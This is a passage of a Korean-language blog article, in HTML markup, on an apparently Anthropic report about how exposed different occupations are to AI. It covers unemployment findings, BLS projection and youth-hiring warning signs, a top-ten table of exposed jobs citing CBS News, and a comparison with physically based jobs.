&lt;p data-ke-size=&quot;size8&quot;&gt;연구진의 결론은 신중하다. &lt;b&gt;2022년 말 ChatGPT 출시 이후, AI 고노출 직종의 실업률이 체계적으로 증가했다는 증거는 아직 없다.&lt;/b&gt; &quot;가장 노출된(most exposed)&quot; 직종의 종사자들이 &quot;AI에 안전한(AI-proof)&quot; 직종의 종사자들보다 의미 있게 높은 실업률을 보이지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 결론만 보면 &quot;아, 아직 괜찮구나&quot;라고 안심할 수 있다. 실제로 The Register 같은 매체는 이 부분을 부각해서 보도했다. 하지만 보고서에는 두 가지 중요한 경고 신호가 함께 포함되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;경고 신호 1: BLS 고용 전망 하향&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI 노출이 높은 직종일수록 미국 노동통계국(BLS)의 2034년까지 고용 성장 전망이 낮았다. 구체적인 상관관계가 확인됐다: &lt;b&gt;관측 노출(Observed Exposure)이 10%p 증가할 때마다, BLS의 고용 성장 전망이 0.6%p 낮아지는 것&lt;/b&gt;으로 나타났다. 이는 미국 정부가 이미 AI의 고용 영향을 전망에 반영하고 있다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;경고 신호 2: 젊은 층 채용 둔화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;22~25세 청년층의 AI 노출 직종 신규 채용이 뚜렷하게 감소했다. 이 부분은 5장에서 자세히 다루겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;논문이 특히 주목한 시나리오가 있다. &lt;b&gt;&quot;화이트칼라 대불황&quot;&lt;/b&gt;이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 20px; border-radius: 12px; border-left: 4px solid #dc3545; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&quot;화이트칼라 대불황&quot; 시나리오&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;2007~2009년 금융위기 당시, 미국 전체 실업률은 5%에서 10%로 두 배가 됐다. 연구진은 AI 고노출 직종(상위 25%)에서 비슷한 수준의 실업률 상승 -- 즉 &lt;b&gt;3%에서 6%로의 상승 -- 이 발생한다면, 자신들의 프레임워크로 &quot;명확하게 감지할 수 있다(clearly detectable)&quot;&lt;/b&gt;고 밝혔다.&lt;br /&gt;&lt;br /&gt;아직 그 수준에 도달하지는 않았지만, &quot;조기 경보 시스템&quot;을 갖추었다는 의미다. 역설적으로, 감지할 수 있다는 것은 그 시나리오를 진지하게 고려하고 있다는 뜻이기도 하다.&lt;br /&gt;&lt;br /&gt;&quot;화이트칼라 대불황&quot;이라는 표현이 강렬하게 느껴지지만, 연구진이 실제로 예측한 것은 아니다. &lt;b&gt;&quot;만약 그런 일이 일어난다면, 우리가 측정할 수 있다&quot;&lt;/b&gt;는 것이 정확한 맥락이다. Fortune이 이를 헤드라인으로 가져가면서 뉘앙스가 달라진 면이 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 3. 직종별 위험도 분석 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 직종별 위험도 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;AI 노출 상위 10대 직종&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;CBS News가 Anthropic 보고서를 기반으로 정리한 &lt;b&gt;&quot;AI에 가장 많이 노출된 10대 직종&quot;&lt;/b&gt;은 다음과 같다. 여기서 &quot;노출(Exposure)&quot;이란 해당 직종의 업무 중 AI가 속도를 높이거나 수행을 도울 수 있는 비율을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52; width: 50px;&quot;&gt;순위&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;직종&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;AI 노출도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;위험 수준&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;컴퓨터 프로그래머&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Computer Programmers&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold; font-size: 18px;&quot;&gt;75%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #dc3545; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;매우 높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;고객 서비스 담당자&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Customer Service Representatives&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold; font-size: 18px;&quot;&gt;70%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #dc3545; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;매우 높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;데이터 입력 담당자&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Data Entry Keyers&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold; font-size: 18px;&quot;&gt;67%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #dc3545; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;매우 높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;의무 기록 전문가&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Medical Record Specialists&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold; font-size: 18px;&quot;&gt;67%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #dc3545; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;매우 높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;시장 조사/마케팅 분석가&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Market Research Analysts &amp;amp; Marketing Specialists&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold; font-size: 18px;&quot;&gt;65%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #fd7e14; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;영업 담당자&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Sales Representatives&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold; font-size: 18px;&quot;&gt;63%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #fd7e14; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;금융/투자 분석가&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Financial and Investment Analysts&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; font-size: 18px;&quot;&gt;57%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #fd7e14; color: white; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;8&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;소프트웨어 QA 분석가&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Software Quality Assurance Analysts&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; font-size: 18px;&quot;&gt;52%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffc107; color: #333; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;중간~높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;정보 보안 분석가&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Information Security Analysts&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; font-size: 18px;&quot;&gt;49%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffc107; color: #333; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;중간~높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold;&quot;&gt;10&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;&lt;b&gt;컴퓨터 사용자 지원 전문가&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;Computer User Support Specialists&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; font-size: 18px;&quot;&gt;47%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffc107; color: #333; padding: 3px 10px; border-radius: 4px; font-size: 13px;&quot;&gt;중간~높음&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: CBS News, &quot;Anthropic is tracking which jobs are most exposed to AI. These 10 professions top the list.&quot;, 2026.03 / Anthropic Research)&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;표 읽는 법&lt;/b&gt;&lt;br /&gt;위 표의 &quot;AI 노출도&quot;는 해당 직종의 전체 업무 중 &lt;b&gt;AI가 속도를 높이거나 수행을 도울 수 있는 업무의 비율&lt;/b&gt;이다. 75%라고 해서 당장 75%가 대체된다는 뜻이 아니다. 다만, AI 기술이 발전하고 기업이 적극적으로 도입할 경우, &lt;b&gt;그 직종의 업무 구조가 크게 변화할 가능성이 높다&lt;/b&gt;는 의미다. &quot;노출 = 위협&quot;이 아니라 &quot;노출 = 변화 가능성&quot;으로 읽어야 정확하다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;직종별 심층 분석&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;10대 직종 각각이 왜 높은 노출도를 보이는지, 그리고 실제로 어떤 업무가 AI에 의해 변화하고 있는지 살펴보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;1위: 컴퓨터 프로그래머 (75%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;개발자들에게는 불편한 진실이다. AI 코딩 도구(GitHub Copilot, Cursor, Claude Code 등)가 이미 상당 부분의 코딩 업무를 처리하고 있다. 코드 생성, 버그 수정, 코드 리뷰, 테스트 작성, 문서화 -- 프로그래머의 핵심 업무 대부분이 LLM의 강점 영역이다. 75%라는 수치는 이 직종의 업무 중 3/4이 AI에 의해 &quot;속도가 빨라지거나 보조될 수 있다&quot;는 뜻이다. 나머지 25%는 시스템 아키텍처 설계, 비즈니스 요구사항 해석, 팀 간 기술적 의사결정 등 고차원 판단 영역이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;2위: 고객 서비스 담당자 (70%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;고객 문의 응답, FAQ 처리, 불만 접수, 주문 상태 확인 등 반복적인 텍스트 기반 대화가 업무의 핵심이다. AI 챗봇은 이미 이 영역에서 인간과 유사한 수준의 응대를 제공하고 있다. 나머지 30%는 감정적으로 어려운 상황의 에스컬레이션, 복잡한 다자간 이슈 해결, 고객 관계 관리(CRM) 등 인간적 판단이 필요한 영역이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;3~4위: 데이터 입력 담당자 / 의무 기록 전문가 (각 67%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;두 직종 모두 &quot;정형화된 데이터를 정해진 형식으로 옮기는&quot; 업무가 핵심이다. OCR(광학 문자 인식) + LLM 조합은 이 영역에서 이미 인간 수준의 정확도에 접근하고 있다. 의무 기록 전문가의 경우, 의료 용어의 정확한 코딩과 규정 준수가 필요한 부분(약 33%)이 아직 인간 전문가의 영역으로 남아 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;5위: 시장 조사/마케팅 분석가 (65%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시장 데이터 수집, 경쟁사 분석, 트렌드 리포트 작성, 고객 세그먼트 분석 등이 AI의 강점 영역이다. 특히 대량의 텍스트 데이터(소셜 미디어, 리뷰, 뉴스)를 분석하여 인사이트를 도출하는 업무는 LLM이 인간보다 빠르다. 나머지 35%는 창의적 캠페인 기획, 브랜드 전략 수립, 고객 인터뷰 기반 질적 조사 등이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;6위: 영업 담당자 (63%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;의외로 높게 느껴질 수 있다. 영업은 &quot;사람 대 사람&quot;의 업무 아닌가? 하지만 현대 영업의 상당 부분은 이메일 작성, 제안서 작성, CRM 데이터 관리, 고객 프로파일 분석, 후속 연락 스케줄링 등 텍스트/데이터 기반 작업이다. AI가 이 부분을 처리하면, 영업 담당자는 대면 미팅과 관계 구축에 집중할 수 있다 -- 또는 더 적은 인원으로 같은 결과를 낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;7위: 금융/투자 분석가 (57%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;재무제표 분석, 시장 데이터 수집, 투자 보고서 초안 작성, 리스크 모델링 등이 AI에 의해 보조될 수 있는 영역이다. 나머지 43%는 고객과의 관계, 복잡한 규제 해석, 전략적 판단, 윤리적 의사결정 등이다. 금융 분야는 규제가 강해서 AI 단독 의사결정이 제한적이지만, 보조 도구로서의 활용은 빠르게 확산되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;8위: 소프트웨어 QA 분석가 (52%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;테스트 케이스 작성, 자동화 스크립트 생성, 버그 리포트 작성, 회귀 테스트 실행 등이 AI에 의해 보조될 수 있다. AI가 코드를 분석하여 잠재적 버그를 사전에 탐지하는 역량도 빠르게 발전하고 있다. 하지만 탐색적 테스트(exploratory testing), 사용자 경험 평가, 복잡한 시스템 통합 테스트는 아직 인간의 영역이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;9위: 정보 보안 분석가 (49%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;보안 로그 분석, 취약점 스캐닝, 인시던트 리포트 작성 등이 AI 보조 영역이다. 하지만 보안 업무는 실시간 시스템 대응, 물리적 인프라 관리, 공격자의 창의적 패턴 대응 등 인간 판단이 핵심인 부분이 절반 이상이다. 보안은 &quot;방어자가 한 번이라도 실패하면 끝&quot;인 분야이므로, AI에 대한 의존도를 쉽게 높이기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;10위: 컴퓨터 사용자 지원 전문가 (47%)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;IT 헬프데스크의 1차 지원(비밀번호 초기화, 소프트웨어 설치 안내, 기본 트러블슈팅)은 AI 챗봇으로 상당 부분 자동화 가능하다. 하지만 복잡한 네트워크 문제, 하드웨어 수리, 현장 방문이 필요한 지원, 비기술적 사용자에 대한 인내심 있는 교육은 인간 전문가가 필요한 영역이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;눈여겨볼 패턴&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 리스트에서 몇 가지 중요한 패턴이 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;첫째, &quot;코딩&quot;이 1위다.&lt;/b&gt; 컴퓨터 프로그래머가 75%로 가장 높은 노출도를 기록했다. LLM의 핵심 역량이 &quot;텍스트 이해와 생성&quot;인데, 코드는 가장 구조화된 형태의 텍스트이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;둘째, &quot;정형화된 텍스트 처리&quot; 직종이 상위권이다.&lt;/b&gt; 데이터 입력(67%), 의무 기록(67%), 고객 서비스(70%) 등 반복적인 텍스트 기반 업무가 많은 직종이 높은 노출도를 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;셋째, &quot;분석&quot; 직종도 안전하지 않다.&lt;/b&gt; 마케팅 분석(65%), 금융 분석(57%), QA 분석(52%) 등 &quot;데이터를 보고 판단하는&quot; 업무도 상당 부분 노출되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;넷째, 10개 직종 모두 &quot;사무실에서, 컴퓨터 앞에서, 텍스트를 다루는&quot; 직종이다.&lt;/b&gt; 물리적 노동이 포함된 직종은 단 하나도 없다. 이것이 &quot;화이트칼라 대불황&quot;이라는 표현의 근거다.&lt;/p&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 4. 가장 안전한 직종 vs 가장 위험한 직종 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;4. 가장 안전한 직종 vs 가장 위험한 직종&lt;/h2&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;AI 노출 0% 직종의 공통점&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic 보고서에 따르면, &lt;b&gt;전체 노동자의 약 30%는 AI 노출이 사실상 0%&lt;/b&gt;다. 이들의 공통점은 명확하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #d4edda; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #155724; width: 50%;&quot;&gt;상대적으로 안전한 직종&lt;/th&gt;
&lt;th style=&quot;background-color: #f8d7da; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #721c24; width: 50%;&quot;&gt;높은 위험 직종&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;물리적 기술 중심&lt;/b&gt;&lt;br /&gt;- 요리사, 조리사&lt;br /&gt;- 자동차 정비사&lt;br /&gt;- 인명 구조원&lt;br /&gt;- 바텐더&lt;br /&gt;- 식기 세척원&lt;br /&gt;- 조경사&lt;br /&gt;&lt;br /&gt;&lt;b&gt;공통 특징:&lt;/b&gt;&lt;br /&gt;물리적 동작 + 실시간 환경 판단 + 대인 상호작용이 복합적으로 요구됨. 이 세 가지 요소가 동시에 필요한 직종은 현재 LLM 기술로 자동화가 불가능하다.&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; vertical-align: top;&quot;&gt;&lt;b&gt;정보 처리/텍스트 중심&lt;/b&gt;&lt;br /&gt;- 컴퓨터 프로그래머 (75%)&lt;br /&gt;- 고객 서비스 담당자 (70%)&lt;br /&gt;- 데이터 입력 담당자 (67%)&lt;br /&gt;- 의무 기록 전문가 (67%)&lt;br /&gt;- 마케팅 분석가 (65%)&lt;br /&gt;- 금융 분석가 (57%)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;공통 특징:&lt;/b&gt;&lt;br /&gt;텍스트 기반 업무 + 패턴화된 판단 + 디지털 환경에서 수행. 물리적 요소가 거의 없으며, 대부분의 업무가 컴퓨터 앞에서 이루어진다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: Anthropic Research / CBS News 보도 종합)&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;고노출 직종 종사자 프로필&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
